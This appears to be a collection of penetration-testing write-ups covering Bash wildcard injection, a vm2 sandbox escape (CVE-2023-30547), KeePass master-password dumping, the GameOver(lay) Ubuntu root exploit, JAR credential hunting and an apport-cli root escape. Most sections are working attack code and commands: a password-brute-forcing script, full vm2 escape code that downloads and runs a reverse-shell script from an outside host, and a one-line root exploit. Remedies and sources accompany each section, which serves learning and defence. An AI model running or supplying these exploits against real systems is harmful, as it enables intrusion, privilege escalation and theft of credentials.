[Privilege Escalation] Unquoted Expression Injection Bash

In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

  • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
  • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

  • Good: “$my_var”
  • Bad: $my_var

Command substitution:

  • Good: “$(cmd)”
  • Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

  • Correct: “`cmd`”
  • Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable’s value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers “$str1” & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2

3. On the other if I use quotes in the 2 variables “$str1” and “$str2”

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

  • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
  • assignments: a=$b
  • the magical case command: case $var in … esac
  • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

  • python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

  • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
  • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
  • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
  • If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page—–933488bfbfff——————————–

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

(CVE-2023-30547)[Exploitation] Node.js vm2 module code execution RCE

Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

vm2 is a sandbox that can run untrusted code with whitelisted Node’s built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

  • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
  • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object’s prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Affected Products

Node.js vm2 3.9.16

Exploitation

1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync(‘<command>); with the OS command you want

//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");

//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();

// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`

// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));

2. For testing purposes I will test ping command

  • execSync(‘ping -c 2 10.10.14.166’);

3. First I will capture traffic on my network interface

  • ifconfig
  • sudo tcpdump -i tun0 icmp

4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

5. looking at the CLI console in our machine, we see the traffic reaching us

6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

  • nc -lvp 4444

7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

  • cat shell1.sh
  • python3 -m http.server 8888

8. Then from the website I transferred the shell1.sh into the web server

  • execSync(‘wget http://10.10.14.166:8888/shell1.sh’);
  • execSync(‘ls -la’);

9. Then I ran a command to execute the script

  • execSync(‘whereis bash’);
  • execSync(‘/usr/bin/bash shell1.sh’);

Remedy

This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/253006

https://github.com/patriksimek/vm2/security/advisories/GHSA-ch3r-j5x3-6q2m

https://www.ibm.com/support/pages/node/6998381

https://github.com/advisories/GHSA-ch3r-j5x3-6q2m

https://www.cve.org/CVERecord?id=CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

(CVE-2023-32784)[Credential Dumping] KeePass information disclosure (Password Recovery)

KeePass could allow a local attacker to obtain sensitive information, caused by a flaw when performing memory dump. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain master password from a memory dump, and use this information to launch further attacks against the affected system.

It doesn’t matter where the memory comes from – can be the process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), various crash dumps or RAM dump of the entire system. It doesn’t matter whether or not the workspace is locked. It is also possible to dump the password from RAM after KeePass is no longer running, although the chance of that working goes down with the time it’s been since then.

Requirements

  • KeePass 2.23 or earlier
  • Dump file (memory dump)
  • a .kdbx file (database)

Affected Products

KeePass KeePass 2.53

Lab

1. Create a DUMP file by opening task manager and right clicking on KeePass process, Create dumpfile

Exploitation

1. Having a Dump file from KeePass 2.53 version we can run the script https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file, Download this tool as ZIP into a Windows machine

2. Extract the file from the Zip file

3. Run the program and indicate the dump file location, or copy the file within the same directory of the script

  • dotnet run G:\Users\Desktop\KeePass.DMP

4. After the script completes you will have a close or complete password. In this case the password was helloworld, it got elloworld, as you can see the descending lines from 2 to 10.

5. Then you can test importing and opening the file in KeyPass

  • File -> Import
  • Select the format KeePass KDBX (2.x)
  • Select the file from the folder (it has to be a .kdbx format
  • Click OK
  • Enter the Password

Note, you can also search on the internet for some common words, pasting the result into a web browser, it may correct you. Try upper and lower case combinations.

Remedy

Upgrade to the latest version of KeePass (2.54 or later), available from the SourceForge KeePass Project Web site.

if you’ve been using KeePass for a long time, your master password (and potentially other passwords) could be in your pagefile/swapfile, hibernation file and crash dump(s). Depending on your paranoia level, you can consider these steps to resolve the issue:

  • Change your master password
  • Delete crash dumps (depends on your OS, on Windows at least C:\Windows\memory.dmp, but maybe there are others)
  • Delete hibernation file
  • Delete pagefile/swapfile (can be quite annoying, don’t forget to enable it back again)
  • Overwrite deleted data on the HDD to prevent carving (e.g. Cipher with /w on Windows)
  • Restart your computer

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/255380

https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file

https://nvd.nist.gov/vuln/detail/CVE-2023-32784

https://sysdig.com/blog/keepass-cve-2023-32784-detection/

https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/

https://www.youtube.com/watch?v=EXgd4AV-VPQ

https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/

(CVE-2023-32629 & CVE-2023-2640)[Privilege Escalation] GameOver(lay) Ubuntu Privilege Escalation

Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.

CVE-2023-2640

https://www.cvedetails.com/cve/CVE-2023-2640/

  • On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-32629/

  • Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

Vulnerable kernels

6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

Identification

1. Verify the OS version

  • lsb_release -a

2. Verify the kernel version

  • uname -r
  • uname -a
  • cat /proc/version

Exploitation

1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root

  • unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’

2. After running this command you should become root

Breakdown

  • unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
  • “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
    • mkdir l u w m: Creates four directories – l, u, w, and m.
    • cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
    • setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
    • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
    • touch m/*: Creates empty files in the m/ directory.
    • &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
    • u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).

Remedy

The problem can be corrected by updating your system to the following package versions:

Sources

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-2640/

https://www.cvedetails.com/cve/CVE-2023-32629/

https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640—POC-Escalation

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

[Privilege Escalation] Java Jar file enumeration/Code Review

.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system’s processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.

Enumeration

1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.

  • ps aux | grep -i java

2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:

  • jcmd <PID> help
  • jcmd <PID> VM.system_properties

Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.

3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:

  • lsof -p <process-id> | grep “.jar”

4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.

  • ls -l /proc/<process-id>/cwd
  • cat /proc/<process-id>/cmdline

5. Extract strings from the process memory to identify potential JAR file references:

  • strings /proc/<process-id>/mem | grep “.jar”

6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details

Exploitation

1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui

2. Click open file, locate the .jar, open it

3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords

Note: In this case we found POSTGRESQL database username and password

(CVE-2023–1326)[Privilege Escalation] apport-cli 2.26.0

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

This vulnerability only works if assign in sudoers

Identification

1. Verify that apport-cli is allowed to run with sudo privileges

  • sudo -l

2. Verify that the version is lower than 2.26.0

  • sudo /usr/bin/apport-cli -v

Exploitation

1. Execute apport-cli with parameter file bug (Select any option)

  • sudo /usr/bin/apport-cli –file-bug

2. Select any option

3. Press any key

4. Press V (View Report), this will open a less page as root

5. Now execute a shell, click enter

  • !/bin/bash

6. You’ll get a shell as root

Remedy

Upgrade the apport-cli version

Restrict the assignment to users

Sources

https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

https://github.com/diego-tella/CVE-2023-1326-PoC